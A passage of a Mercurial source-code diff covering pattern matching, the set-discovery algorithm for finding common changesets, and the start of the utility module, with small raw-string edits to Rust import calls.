     >>> bprint(_globre(br'{a,b}'))
     (?:a|b)
     >>> bprint(_globre(br'.\*\?'))
     \.\*\?
     '''
     i, n = 0, len(pat)
     res = ''
     group = 0
     escape = util.stringutil.regexbytesescapemap.get
     def peek():
         return i < n and pat[i:i + 1]
     while i < n:
         c = pat[i:i + 1]
         i += 1
         if c not in '*?[{},\\':
             res += escape(c, c)
         elif c == '*':
             if peek() == '*':
                 i += 1
                 if peek() == '/':
                     i += 1
                     res += '(?:.*/)?'
                 else:
                     res += '.*'
             else:
                 res += '[^/]*'
         elif c == '?':
             res += '.'
         elif c == '[':
             j = i
             if j < n and pat[j:j + 1] in '!]':
                 j += 1
             while j < n and pat[j:j + 1] != ']':
                 j += 1
             if j >= n:
                 res += '\\['
             else:
                 stuff = pat[i:j].replace('\\','\\\\')
                 i = j + 1
                 if stuff[0:1] == '!':
                     stuff = '^' + stuff[1:]
                 elif stuff[0:1] == '^':
                     stuff = '\\' + stuff
                 res = '%s[%s]' % (res, stuff)
         elif c == '{':
             group += 1
             res += '(?:'
         elif c == '}' and group:
             res += ')'
             group -= 1
         elif c == ',' and group:
             res += '|'
         elif c == '\\':
             p = peek()
             if p:
                 i += 1
                 res += escape(p, p)
             else:
                 res += escape(c, c)
         else:
             res += escape(c, c)
     return res
 
 def _regex(kind, pat, globsuffix):
     '''Convert a (normalized) pattern of any kind into a
     regular expression.
     globsuffix is appended to the regexp of globs.'''
 
     if rustmod is not None:
         try:
             return rustmod.build_single_regex(
                 kind,
                 pat,
                 globsuffix
             )
         except rustmod.PatternError:
             raise error.ProgrammingError(
                 'not a regex pattern: %s:%s' % (kind, pat)
             )
 
     if not pat and kind in ('glob', 'relpath'):
         return ''
     if kind == 're':
         return pat
     if kind in ('path', 'relpath'):
         if pat == '.':
             return ''
         return util.stringutil.reescape(pat) + '(?:/|$)'
     if kind == 'rootfilesin':
         if pat == '.':
             escaped = ''
         else:
             # Pattern is a directory name.
             escaped = util.stringutil.reescape(pat) + '/'
         # Anything after the pattern must be a non-directory.
         return escaped + '[^/]+$'
     if kind == 'relglob':
         return '(?:|.*/)' + _globre(pat) + globsuffix
     if kind == 'relre':
         if pat.startswith('^'):
             return pat
         return '.*' + pat
     if kind in ('glob', 'rootglob'):
         return _globre(pat) + globsuffix
     raise error.ProgrammingError('not a regex pattern: %s:%s' % (kind, pat))
 
 def _buildmatch(kindpats, globsuffix, root):
     '''Return regexp string and a matcher function for kindpats.
     globsuffix is appended to the regexp of globs.'''
     matchfuncs = []
 
     subincludes, kindpats = _expandsubinclude(kindpats, root)
     if subincludes:
         submatchers = {}
         def matchsubinclude(f):
             for prefix, matcherargs in subincludes:
                 if f.startswith(prefix):
                     mf = submatchers.get(prefix)
                     if mf is None:
                         mf = match(*matcherargs)
                         submatchers[prefix] = mf
 
                     if mf(f[len(prefix):]):
                         return True
             return False
         matchfuncs.append(matchsubinclude)
 
     regex = ''
     if kindpats:
         if all(k == 'rootfilesin' for k, p, s in kindpats):
             dirs = {p for k, p, s in kindpats}
             def mf(f):
                 i = f.rfind('/')
                 if i >= 0:
                     dir = f[:i]
                 else:
                     dir = '.'
                 return dir in dirs
             regex = b'rootfilesin: %s' % stringutil.pprint(list(sorted(dirs)))
             matchfuncs.append(mf)
         else:
             regex, mf = _buildregexmatch(kindpats, globsuffix)
             matchfuncs.append(mf)
 
     if len(matchfuncs) == 1:
         return regex, matchfuncs[0]
     else:
         return regex, lambda f: any(mf(f) for mf in matchfuncs)
 
 MAX_RE_SIZE = 20000
 
 def _joinregexes(regexps):
     """gather multiple regular expressions into a single one"""
     return '|'.join(regexps)
 
 def _buildregexmatch(kindpats, globsuffix):
     """Build a match function from a list of kinds and kindpats,
     return regexp string and a matcher function.
 
     Test too large input
     >>> _buildregexmatch([
     ...     (b'relglob', b'?' * MAX_RE_SIZE, b'')
     ... ], b'$')
     Traceback (most recent call last):
     ...
     Abort: matcher pattern is too long (20009 bytes)
     """
     try:
         allgroups = []
         regexps = [_regex(k, p, globsuffix) for (k, p, s) in kindpats]
         fullregexp = _joinregexes(regexps)
 
         startidx = 0
         groupsize = 0
         for idx, r in enumerate(regexps):
             piecesize = len(r)
             if piecesize > MAX_RE_SIZE:
                 msg = _("matcher pattern is too long (%d bytes)") % piecesize
                 raise error.Abort(msg)
             elif (groupsize + piecesize) > MAX_RE_SIZE:
                 group = regexps[startidx:idx]
                 allgroups.append(_joinregexes(group))
                 startidx = idx
                 groupsize = 0
             groupsize += piecesize + 1
 
         if startidx == 0:
             matcher = _rematcher(fullregexp)
             func = lambda s: bool(matcher(s))
         else:
             group = regexps[startidx:]
             allgroups.append(_joinregexes(group))
             allmatchers = [_rematcher(g) for g in allgroups]
             func = lambda s: any(m(s) for m in allmatchers)
         return fullregexp, func
     except re.error:
         for k, p, s in kindpats:
             try:
                 _rematcher(_regex(k, p, globsuffix))
             except re.error:
                 if s:
                     raise error.Abort(_("%s: invalid pattern (%s): %s") %
                                       (s, k, p))
                 else:
                     raise error.Abort(_("invalid pattern (%s): %s") % (k, p))
         raise error.Abort(_("invalid pattern"))
 
 def _patternrootsanddirs(kindpats):
     '''Returns roots and directories corresponding to each pattern.
 
     This calculates the roots and directories exactly matching the patterns and
     returns a tuple of (roots, dirs) for each. It does not return other
     directories which may also need to be considered, like the parent
     directories.
     '''
     r = []
     d = []
     for kind, pat, source in kindpats:
         if kind in ('glob', 'rootglob'): # find the non-glob prefix
             root = []
             for p in pat.split('/'):
                 if '[' in p or '{' in p or '*' in p or '?' in p:
                     break
                 root.append(p)
             r.append('/'.join(root))
         elif kind in ('relpath', 'path'):
             if pat == '.':
                 pat = ''
             r.append(pat)
         elif kind in ('rootfilesin',):
             if pat == '.':
                 pat = ''
             d.append(pat)
         else: # relglob, re, relre
             r.append('')
     return r, d
 
 def _roots(kindpats):
     '''Returns root directories to match recursively from the given patterns.'''
     roots, dirs = _patternrootsanddirs(kindpats)
     return roots
 
 def _rootsdirsandparents(kindpats):
     '''Returns roots and exact directories from patterns.
 
     `roots` are directories to match recursively, `dirs` should
     be matched non-recursively, and `parents` are the implicitly required
     directories to walk to items in either roots or dirs.
 
     Returns a tuple of (roots, dirs, parents).
 
     >>> r = _rootsdirsandparents(
     ...     [(b'glob', b'g/h/*', b''), (b'glob', b'g/h', b''),
     ...      (b'glob', b'g*', b'')])
     >>> print(r[0:2], sorted(r[2])) # the set has an unstable output
     (['g/h', 'g/h', ''], []) ['', 'g']
     >>> r = _rootsdirsandparents(
     ...     [(b'rootfilesin', b'g/h', b''), (b'rootfilesin', b'', b'')])
     >>> print(r[0:2], sorted(r[2])) # the set has an unstable output
     ([], ['g/h', '']) ['', 'g']
     >>> r = _rootsdirsandparents(
     ...     [(b'relpath', b'r', b''), (b'path', b'p/p', b''),
     ...      (b'path', b'', b'')])
     >>> print(r[0:2], sorted(r[2])) # the set has an unstable output
     (['r', 'p/p', ''], []) ['', 'p']
     >>> r = _rootsdirsandparents(
     ...     [(b'relglob', b'rg*', b''), (b're', b're/', b''),
     ...      (b'relre', b'rr', b'')])
     >>> print(r[0:2], sorted(r[2])) # the set has an unstable output
     (['', '', ''], []) ['']
     '''
     r, d = _patternrootsanddirs(kindpats)
 
     p = set()
     # Add the parents as non-recursive/exact directories, since they must be
     # scanned to get to either the roots or the other exact directories.
     p.update(util.dirs(d))
     p.update(util.dirs(r))
 
     # FIXME: all uses of this function convert these to sets, do so before
     # returning.
     # FIXME: all uses of this function do not need anything in 'roots' and
     # 'dirs' to also be in 'parents', consider removing them before returning.
     return r, d, p
 
 def _explicitfiles(kindpats):
     '''Returns the potential explicit filenames from the patterns.
 
     >>> _explicitfiles([(b'path', b'foo/bar', b'')])
     ['foo/bar']
     >>> _explicitfiles([(b'rootfilesin', b'foo/bar', b'')])
     []
     '''
     # Keep only the pattern kinds where one can specify filenames (vs only
     # directory names).
     filable = [kp for kp in kindpats if kp[0] not in ('rootfilesin',)]
     return _roots(filable)
 
 def _prefix(kindpats):
     '''Whether all the patterns match a prefix (i.e. recursively)'''
     for kind, pat, source in kindpats:
         if kind not in ('path', 'relpath'):
             return False
     return True
 
 _commentre = None
 
 def readpatternfile(filepath, warn, sourceinfo=False):
     '''parse a pattern file, returning a list of
     patterns. These patterns should be given to compile()
     to be validated and converted into a match function.
 
     trailing white space is dropped.
     the escape character is backslash.
     comments start with #.
     empty lines are skipped.
 
     lines can be of the following formats:
 
     syntax: regexp # defaults following lines to non-rooted regexps
     syntax: glob   # defaults following lines to non-rooted globs
     re:pattern     # non-rooted regular expression
     glob:pattern   # non-rooted glob
     rootglob:pat   # rooted glob (same root as ^ in regexps)
     pattern        # pattern of the current default type
 
     if sourceinfo is set, returns a list of tuples:
     (pattern, lineno, originalline).
     This is useful to debug ignore patterns.
     '''
 
     if rustmod is not None:
         result, warnings = rustmod.read_pattern_file(
             filepath,
             bool(warn),
             sourceinfo,
         )
 
         for warning_params in warnings:
             # Can't be easily emitted from Rust, because it would require
             # a mechanism for both gettext and calling the `warn` function.
             warn(_("%s: ignoring invalid syntax '%s'\n") % warning_params)
 
         return result
 
     syntaxes = {
         're': 'relre:',
         'regexp': 'relre:',
         'glob': 'relglob:',
         'rootglob': 'rootglob:',
         'include': 'include',
         'subinclude': 'subinclude',
     }
     syntax = 'relre:'
     patterns = []
 
     fp = open(filepath, 'rb')
     for lineno, line in enumerate(util.iterfile(fp), start=1):
         if "#" in line:
             global _commentre
             if not _commentre:
                 _commentre = util.re.compile(br'((?:^|[^\\])(?:\\\\)*)#.*')
             # remove comments prefixed by an even number of escapes
             m = _commentre.search(line)
             if m:
                 line = line[:m.end(1)]
             # fixup properly escaped comments that survived the above
             line = line.replace("\\#", "#")
         line = line.rstrip()
         if not line:
             continue
 
         if line.startswith('syntax:'):
             s = line[7:].strip()
             try:
                 syntax = syntaxes[s]
             except KeyError:
                 if warn:
                     warn(_("%s: ignoring invalid syntax '%s'\n") %
                          (filepath, s))
             continue
 
         linesyntax = syntax
         for s, rels in syntaxes.iteritems():
             if line.startswith(rels):
                 linesyntax = rels
                 line = line[len(rels):]
                 break
             elif line.startswith(s+':'):
                 linesyntax = rels
                 line = line[len(s) + 1:]
                 break
         if sourceinfo:
             patterns.append((linesyntax + line, lineno, line))
         else:
             patterns.append(linesyntax + line)
     fp.close()
     return patterns

mercurial/setdiscovery.py

@@ -1,463 +1,463 b''
 # setdiscovery.py - improved discovery of common nodeset for mercurial
 #
 # Copyright 2010 Benoit Boissinot <[e-mail]>
 # and Peter Arrenbrecht <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 """
 Algorithm works in the following way. You have two repository: local and
 remote. They both contains a DAG of changelists.
 
 The goal of the discovery protocol is to find one set of node *common*,
 the set of nodes shared by local and remote.
 
 One of the issue with the original protocol was latency, it could
 potentially require lots of roundtrips to discover that the local repo was a
 subset of remote (which is a very common case, you usually have few changes
 compared to upstream, while upstream probably had lots of development).
 
 The new protocol only requires one interface for the remote repo: `known()`,
 which given a set of changelists tells you if they are present in the DAG.
 
 The algorithm then works as follow:
 
  - We will be using three sets, `common`, `missing`, `unknown`. Originally
  all nodes are in `unknown`.
  - Take a sample from `unknown`, call `remote.known(sample)`
    - For each node that remote knows, move it and all its ancestors to `common`
    - For each node that remote doesn't know, move it and all its descendants
    to `missing`
  - Iterate until `unknown` is empty
 
 There are a couple optimizations, first is instead of starting with a random
 sample of missing, start by sending all heads, in the case where the local
 repo is a subset, you computed the answer in one round trip.
 
 Then you can do something similar to the bisecting strategy used when
 finding faulty changesets. Instead of random samples, you can try picking
 nodes that will maximize the number of nodes that will be
 classified with it (since all ancestors or descendants will be marked as well).
 """
 
 from __future__ import absolute_import
 
 import collections
 import random
 
 from .i18n import _
 from .node import (
     nullid,
     nullrev,
 )
 from . import (
     error,
     policy,
     util,
 )
 
 def _updatesample(revs, heads, sample, parentfn, quicksamplesize=0):
     """update an existing sample to match the expected size
 
     The sample is updated with revs exponentially distant from each head of the
     <revs> set. (H~1, H~2, H~4, H~8, etc).
 
     If a target size is specified, the sampling will stop once this size is
     reached. Otherwise sampling will happen until roots of the <revs> set are
     reached.
 
     :revs:  set of revs we want to discover (if None, assume the whole dag)
     :heads: set of DAG head revs
     :sample: a sample to update
     :parentfn: a callable to resolve parents for a revision
     :quicksamplesize: optional target size of the sample"""
     dist = {}
     visit = collections.deque(heads)
     seen = set()
     factor = 1
     while visit:
         curr = visit.popleft()
         if curr in seen:
             continue
         d = dist.setdefault(curr, 1)
         if d > factor:
             factor *= 2
         if d == factor:
             sample.add(curr)
             if quicksamplesize and (len(sample) >= quicksamplesize):
                 return
         seen.add(curr)
 
         for p in parentfn(curr):
             if p != nullrev and (not revs or p in revs):
                 dist.setdefault(p, d + 1)
                 visit.append(p)
 
 def _limitsample(sample, desiredlen, randomize=True):
     """return a random subset of sample of at most desiredlen item.
 
     If randomize is False, though, a deterministic subset is returned.
     This is meant for integration tests.
     """
     if len(sample) <= desiredlen:
         return sample
     if randomize:
         return set(random.sample(sample, desiredlen))
     sample = list(sample)
     sample.sort()
     return set(sample[:desiredlen])
 
 class partialdiscovery(object):
     """an object representing ongoing discovery
 
     Feed with data from the remote repository, this object keep track of the
     current set of changeset in various states:
 
     - common:    revs also known remotely
     - undecided: revs we don't have information on yet
     - missing:   revs missing remotely
     (all tracked revisions are known locally)
     """
 
     def __init__(self, repo, targetheads, respectsize, randomize=True):
         self._repo = repo
         self._targetheads = targetheads
         self._common = repo.changelog.incrementalmissingrevs()
         self._undecided = None
         self.missing = set()
         self._childrenmap = None
         self._respectsize = respectsize
         self.randomize = randomize
 
     def addcommons(self, commons):
         """register nodes known as common"""
         self._common.addbases(commons)
         if self._undecided is not None:
             self._common.removeancestorsfrom(self._undecided)
 
     def addmissings(self, missings):
         """register some nodes as missing"""
         newmissing = self._repo.revs('%ld::%ld', missings, self.undecided)
         if newmissing:
             self.missing.update(newmissing)
             self.undecided.difference_update(newmissing)
 
     def addinfo(self, sample):
         """consume an iterable of (rev, known) tuples"""
         common = set()
         missing = set()
         for rev, known in sample:
             if known:
                 common.add(rev)
             else:
                 missing.add(rev)
         if common:
             self.addcommons(common)
         if missing:
             self.addmissings(missing)
 
     def hasinfo(self):
         """return True is we have any clue about the remote state"""
         return self._common.hasbases()
 
     def iscomplete(self):
         """True if all the necessary data have been gathered"""
         return self._undecided is not None and not self._undecided
 
     @property
     def undecided(self):
         if self._undecided is not None:
             return self._undecided
         self._undecided = set(self._common.missingancestors(self._targetheads))
         return self._undecided
 
     def stats(self):
         return {
             'undecided': len(self.undecided),
         }
 
     def commonheads(self):
         """the heads of the known common set"""
         # heads(common) == heads(common.bases) since common represents
         # common.bases and all its ancestors
         return self._common.basesheads()
 
     def _parentsgetter(self):
         getrev = self._repo.changelog.index.__getitem__
         def getparents(r):
             return getrev(r)[5:7]
         return getparents
 
     def _childrengetter(self):
 
         if self._childrenmap is not None:
             # During discovery, the `undecided` set keep shrinking.
             # Therefore, the map computed for an iteration N will be
             # valid for iteration N+1. Instead of computing the same
             # data over and over we cached it the first time.
             return self._childrenmap.__getitem__
 
         # _updatesample() essentially does interaction over revisions to look
         # up their children. This lookup is expensive and doing it in a loop is
         # quadratic. We precompute the children for all relevant revisions and
         # make the lookup in _updatesample() a simple dict lookup.
         self._childrenmap = children = {}
 
         parentrevs = self._parentsgetter()
         revs = self.undecided
 
         for rev in sorted(revs):
             # Always ensure revision has an entry so we don't need to worry
             # about missing keys.
             children[rev] = []
             for prev in parentrevs(rev):
                 if prev == nullrev:
                     continue
                 c = children.get(prev)
                 if c is not None:
                     c.append(rev)
         return children.__getitem__
 
     def takequicksample(self, headrevs, size):
         """takes a quick sample of size <size>
 
         It is meant for initial sampling and focuses on querying heads and close
         ancestors of heads.
 
         :headrevs: set of head revisions in local DAG to consider
         :size: the maximum size of the sample"""
         revs = self.undecided
         if len(revs) <= size:
             return list(revs)
         sample = set(self._repo.revs('heads(%ld)', revs))
 
         if len(sample) >= size:
             return _limitsample(sample, size, randomize=self.randomize)
 
         _updatesample(None, headrevs, sample, self._parentsgetter(),
                       quicksamplesize=size)
         return sample
 
     def takefullsample(self, headrevs, size):
         revs = self.undecided
         if len(revs) <= size:
             return list(revs)
         repo = self._repo
         sample = set(repo.revs('heads(%ld)', revs))
         parentrevs = self._parentsgetter()
 
         # update from heads
         revsheads = sample.copy()
         _updatesample(revs, revsheads, sample, parentrevs)
 
         # update from roots
         revsroots = set(repo.revs('roots(%ld)', revs))
         childrenrevs = self._childrengetter()
         _updatesample(revs, revsroots, sample, childrenrevs)
         assert sample
 
         if not self._respectsize:
             size = max(size, min(len(revsroots), len(revsheads)))
 
         sample = _limitsample(sample, size, randomize=self.randomize)
         if len(sample) < size:
             more = size - len(sample)
             takefrom = list(revs - sample)
             if self.randomize:
                 sample.update(random.sample(takefrom, more))
             else:
                 takefrom.sort()
                 sample.update(takefrom[:more])
         return sample
 
-partialdiscovery = policy.importrust('discovery',
-                                     member='PartialDiscovery',
+partialdiscovery = policy.importrust(r'discovery',
+                                     member=r'PartialDiscovery',
                                      default=partialdiscovery)
 
 def findcommonheads(ui, local, remote,
                     initialsamplesize=100,
                     fullsamplesize=200,
                     abortwhenunrelated=True,
                     ancestorsof=None,
                     samplegrowth=1.05):
     '''Return a tuple (common, anyincoming, remoteheads) used to identify
     missing nodes from or in remote.
     '''
     start = util.timer()
 
     roundtrips = 0
     cl = local.changelog
     clnode = cl.node
     clrev = cl.rev
 
     if ancestorsof is not None:
         ownheads = [clrev(n) for n in ancestorsof]
     else:
         ownheads = [rev for rev in cl.headrevs() if rev != nullrev]
 
     # early exit if we know all the specified remote heads already
     ui.debug("query 1; heads\n")
     roundtrips += 1
     # We also ask remote about all the local heads. That set can be arbitrarily
     # large, so we used to limit it size to `initialsamplesize`. We no longer
     # do as it proved counter productive. The skipped heads could lead to a
     # large "undecided" set, slower to be clarified than if we asked the
     # question for all heads right away.
     #
     # We are already fetching all server heads using the `heads` commands,
     # sending a equivalent number of heads the other way should not have a
     # significant impact.  In addition, it is very likely that we are going to
     # have to issue "known" request for an equivalent amount of revisions in
     # order to decide if theses heads are common or missing.
     #
     # find a detailled analysis below.
     #
     # Case A: local and server both has few heads
     #
     #     Ownheads is below initialsamplesize, limit would not have any effect.
     #
     # Case B: local has few heads and server has many
     #
     #     Ownheads is below initialsamplesize, limit would not have any effect.
     #
     # Case C: local and server both has many heads
     #
     #     We now transfert some more data, but not significantly more than is
     #     already transfered to carry the server heads.
     #
     # Case D: local has many heads, server has few
     #
     #   D.1 local heads are mostly known remotely
     #
     #     All the known head will have be part of a `known` request at some
     #     point for the discovery to finish. Sending them all earlier is
     #     actually helping.
     #
     #     (This case is fairly unlikely, it requires the numerous heads to all
     #     be merged server side in only a few heads)
     #
     #   D.2 local heads are mostly missing remotely
     #
     #     To determine that the heads are missing, we'll have to issue `known`
     #     request for them or one of their ancestors. This amount of `known`
     #     request will likely be in the same order of magnitude than the amount
     #     of local heads.
     #
     #     The only case where we can be more efficient using `known` request on
     #     ancestors are case were all the "missing" local heads are based on a
     #     few changeset, also "missing".  This means we would have a "complex"
     #     graph (with many heads) attached to, but very independant to a the
     #     "simple" graph on the server. This is a fairly usual case and have
     #     not been met in the wild so far.
     if remote.limitedarguments:
         sample = _limitsample(ownheads, initialsamplesize)
         # indices between sample and externalized version must match
         sample = list(sample)
     else:
         sample = ownheads
 
     with remote.commandexecutor() as e:
         fheads = e.callcommand('heads', {})
         fknown = e.callcommand('known', {
             'nodes': [clnode(r) for r in sample],
         })
 
     srvheadhashes, yesno = fheads.result(), fknown.result()
 
     if cl.tip() == nullid:
         if srvheadhashes != [nullid]:
             return [nullid], True, srvheadhashes
         return [nullid], False, []
 
     # start actual discovery (we note this before the next "if" for
     # compatibility reasons)
     ui.status(_("searching for changes\n"))
 
     knownsrvheads = []  # revnos of remote heads that are known locally
     for node in srvheadhashes:
         if node == nullid:
             continue
 
         try:
             knownsrvheads.append(clrev(node))
         # Catches unknown and filtered nodes.
         except error.LookupError:
             continue
 
     if len(knownsrvheads) == len(srvheadhashes):
         ui.debug("all remote heads known locally\n")
         return srvheadhashes, False, srvheadhashes
 
     if len(sample) == len(ownheads) and all(yesno):
         ui.note(_("all local heads known remotely\n"))
         ownheadhashes = [clnode(r) for r in ownheads]
         return ownheadhashes, True, srvheadhashes
 
     # full blown discovery
 
     randomize = ui.configbool('devel', 'discovery.randomize')
     disco = partialdiscovery(local, ownheads, remote.limitedarguments,
                              randomize=randomize)
     # treat remote heads (and maybe own heads) as a first implicit sample
     # response
     disco.addcommons(knownsrvheads)
     disco.addinfo(zip(sample, yesno))
 
     full = False
     progress = ui.makeprogress(_('searching'), unit=_('queries'))
     while not disco.iscomplete():
 
         if full or disco.hasinfo():
             if full:
                 ui.note(_("sampling from both directions\n"))
             else:
                 ui.debug("taking initial sample\n")
             samplefunc = disco.takefullsample
             targetsize = fullsamplesize
             if not remote.limitedarguments:
                 fullsamplesize = int(fullsamplesize * samplegrowth)
         else:
             # use even cheaper initial sample
             ui.debug("taking quick initial sample\n")
             samplefunc = disco.takequicksample
             targetsize = initialsamplesize
         sample = samplefunc(ownheads, targetsize)
 
         roundtrips += 1
         progress.update(roundtrips)
         stats = disco.stats()
         ui.debug("query %i; still undecided: %i, sample size is: %i\n"
                  % (roundtrips, stats['undecided'], len(sample)))
 
         # indices between sample and externalized version must match
         sample = list(sample)
 
         with remote.commandexecutor() as e:
             yesno = e.callcommand('known', {
                 'nodes': [clnode(r) for r in sample],
             }).result()
 
         full = True
 
         disco.addinfo(zip(sample, yesno))
 
     result = disco.commonheads()
     elapsed = util.timer() - start
     progress.complete()
     ui.debug("%d total queries in %.4fs\n" % (roundtrips, elapsed))
     msg = ('found %d common and %d unknown server heads,'
            ' %d roundtrips in %.4fs\n')
     missing = set(result) - set(knownsrvheads)
     ui.log('discovery', msg, len(result), len(missing), roundtrips,
            elapsed)
 
     if not result and srvheadhashes != [nullid]:
         if abortwhenunrelated:
             raise error.Abort(_("repository is unrelated"))
         else:
             ui.warn(_("warning: repository is unrelated\n"))
         return ({nullid}, True, srvheadhashes,)
 
     anyincoming = (srvheadhashes != [nullid])
     result = {clnode(r) for r in result}
     return result, anyincoming, srvheadhashes

mercurial/util.py

@@ -1,3326 +1,3326 b''
 # util.py - Mercurial utility functions and platform specific implementations
 #
 #  Copyright 2005 K. Thananchayan <[e-mail]>
 #  Copyright 2005-2007 Matt Mackall <[e-mail]>
 #  Copyright 2006 Vadim Gelfer <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Mercurial utility functions and platform specific implementations.
 
 This contains helper routines that are independent of the SCM core and
 hide platform-specific details from the core.
 """
 
 from __future__ import absolute_import, print_function
 
 import abc
 import collections
 import contextlib
 import errno
 import gc
 import hashlib
 import itertools
 import mmap
 import os
 import platform as pyplatform
 import re as remod
 import shutil
 import socket
 import stat
 import sys
 import time
 import traceback
 import warnings
 
 from .thirdparty import (
     attr,
 )
 from hgdemandimport import tracing
 from . import (
     encoding,
     error,
     i18n,
     node as nodemod,
     policy,
     pycompat,
     urllibcompat,
 )
 from .utils import (
     compression,
     procutil,
     stringutil,
 )
 
-rustdirs = policy.importrust('dirstate', 'Dirs')
+rustdirs = policy.importrust(r'dirstate', r'Dirs')
 
 base85 = policy.importmod(r'base85')
 osutil = policy.importmod(r'osutil')
 parsers = policy.importmod(r'parsers')
 
 b85decode = base85.b85decode
 b85encode = base85.b85encode
 
 cookielib = pycompat.cookielib
 httplib = pycompat.httplib
 pickle = pycompat.pickle
 safehasattr = pycompat.safehasattr
 socketserver = pycompat.socketserver
 bytesio = pycompat.bytesio
 # TODO deprecate stringio name, as it is a lie on Python 3.
 stringio = bytesio
 xmlrpclib = pycompat.xmlrpclib
 
 httpserver = urllibcompat.httpserver
 urlerr = urllibcompat.urlerr
 urlreq = urllibcompat.urlreq
 
 # workaround for win32mbcs
 _filenamebytestr = pycompat.bytestr
 
 if pycompat.iswindows:
     from . import windows as platform
 else:
     from . import posix as platform
 
 _ = i18n._
 
 bindunixsocket = platform.bindunixsocket
 cachestat = platform.cachestat
 checkexec = platform.checkexec
 checklink = platform.checklink
 copymode = platform.copymode
 expandglobs = platform.expandglobs
 getfsmountpoint = platform.getfsmountpoint
 getfstype = platform.getfstype
 groupmembers = platform.groupmembers
 groupname = platform.groupname
 isexec = platform.isexec
 isowner = platform.isowner
 listdir = osutil.listdir
 localpath = platform.localpath
 lookupreg = platform.lookupreg
 makedir = platform.makedir
 nlinks = platform.nlinks
 normpath = platform.normpath
 normcase = platform.normcase
 normcasespec = platform.normcasespec
 normcasefallback = platform.normcasefallback
 openhardlinks = platform.openhardlinks
 oslink = platform.oslink
 parsepatchoutput = platform.parsepatchoutput
 pconvert = platform.pconvert
 poll = platform.poll
 posixfile = platform.posixfile
 readlink = platform.readlink
 rename = platform.rename
 removedirs = platform.removedirs
 samedevice = platform.samedevice
 samefile = platform.samefile
 samestat = platform.samestat
 setflags = platform.setflags
 split = platform.split
 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
 statisexec = platform.statisexec
 statislink = platform.statislink
 umask = platform.umask
 unlink = platform.unlink
 username = platform.username
 
 # small compat layer
 compengines = compression.compengines
 SERVERROLE = compression.SERVERROLE
 CLIENTROLE = compression.CLIENTROLE
 
 try:
     recvfds = osutil.recvfds
 except AttributeError:
     pass
 
 # Python compatibility
 
 _notset = object()
 
 def bitsfrom(container):
     bits = 0
     for bit in container:
         bits |= bit
     return bits
 
 # python 2.6 still have deprecation warning enabled by default. We do not want
 # to display anything to standard user so detect if we are running test and
 # only use python deprecation warning in this case.
 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
 if _dowarn:
     # explicitly unfilter our warning for python 2.7
     #
     # The option of setting PYTHONWARNINGS in the test runner was investigated.
     # However, module name set through PYTHONWARNINGS was exactly matched, so
     # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
     # makes the whole PYTHONWARNINGS thing useless for our usecase.
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
 if _dowarn and pycompat.ispy3:
     # silence warning emitted by passing user string to re.sub()
     warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
                             r'mercurial')
     warnings.filterwarnings(r'ignore', r'invalid escape sequence',
                             DeprecationWarning, r'mercurial')
     # TODO: reinvent imp.is_frozen()
     warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
                             DeprecationWarning, r'mercurial')
 
 def nouideprecwarn(msg, version, stacklevel=1):
     """Issue an python native deprecation warning
 
     This is a noop outside of tests, use 'ui.deprecwarn' when possible.
     """
     if _dowarn:
         msg += ("\n(compatibility will be dropped after Mercurial-%s,"
                 " update your code.)") % version
         warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
 
 DIGESTS = {
     'md5': hashlib.md5,
     'sha1': hashlib.sha1,
     'sha512': hashlib.sha512,
 }
 # List of digest types from strongest to weakest
 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
 
 for k in DIGESTS_BY_STRENGTH:
     assert k in DIGESTS
 
 class digester(object):
     """helper to compute digests.
 
     This helper can be used to compute one or more digests given their name.
 
     >>> d = digester([b'md5', b'sha1'])
     >>> d.update(b'foo')
     >>> [k for k in sorted(d)]
     ['md5', 'sha1']
     >>> d[b'md5']
     'acbd18db4cc2f85cedef654fccc4a4d8'
     >>> d[b'sha1']
     '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
     >>> digester.preferred([b'md5', b'sha1'])
     'sha1'
     """
 
     def __init__(self, digests, s=''):
         self._hashes = {}
         for k in digests:
             if k not in DIGESTS:
                 raise error.Abort(_('unknown digest type: %s') % k)
             self._hashes[k] = DIGESTS[k]()
         if s:
             self.update(s)
 
     def update(self, data):
         for h in self._hashes.values():
             h.update(data)
 
     def __getitem__(self, key):
         if key not in DIGESTS:
             raise error.Abort(_('unknown digest type: %s') % k)
         return nodemod.hex(self._hashes[key].digest())
 
     def __iter__(self):
         return iter(self._hashes)
 
     @staticmethod
     def preferred(supported):
         """returns the strongest digest type in both supported and DIGESTS."""
 
         for k in DIGESTS_BY_STRENGTH:
             if k in supported:
                 return k
         return None
 
 class digestchecker(object):
     """file handle wrapper that additionally checks content against a given
     size and digests.
 
         d = digestchecker(fh, size, {'md5': '...'})
 
     When multiple digests are given, all of them are validated.
     """
 
     def __init__(self, fh, size, digests):
         self._fh = fh
         self._size = size
         self._got = 0
         self._digests = dict(digests)
         self._digester = digester(self._digests.keys())
 
     def read(self, length=-1):
         content = self._fh.read(length)
         self._digester.update(content)
         self._got += len(content)
         return content
 
     def validate(self):
         if self._size != self._got:
             raise error.Abort(_('size mismatch: expected %d, got %d') %
                               (self._size, self._got))
         for k, v in self._digests.items():
             if v != self._digester[k]:
                 # i18n: first parameter is a digest name
                 raise error.Abort(_('%s mismatch: expected %s, got %s') %
                                   (k, v, self._digester[k]))
 
 try:
     buffer = buffer
 except NameError:
     def buffer(sliceable, offset=0, length=None):
         if length is not None:
             return memoryview(sliceable)[offset:offset + length]
         return memoryview(sliceable)[offset:]
 
 _chunksize = 4096
 
 class bufferedinputpipe(object):
     """a manually buffered input pipe
 
     Python will not let us use buffered IO and lazy reading with 'polling' at
     the same time. We cannot probe the buffer state and select will not detect
     that data are ready to read if they are already buffered.
 
     This class let us work around that by implementing its own buffering
     (allowing efficient readline) while offering a way to know if the buffer is
     empty from the output (allowing collaboration of the buffer with polling).
 
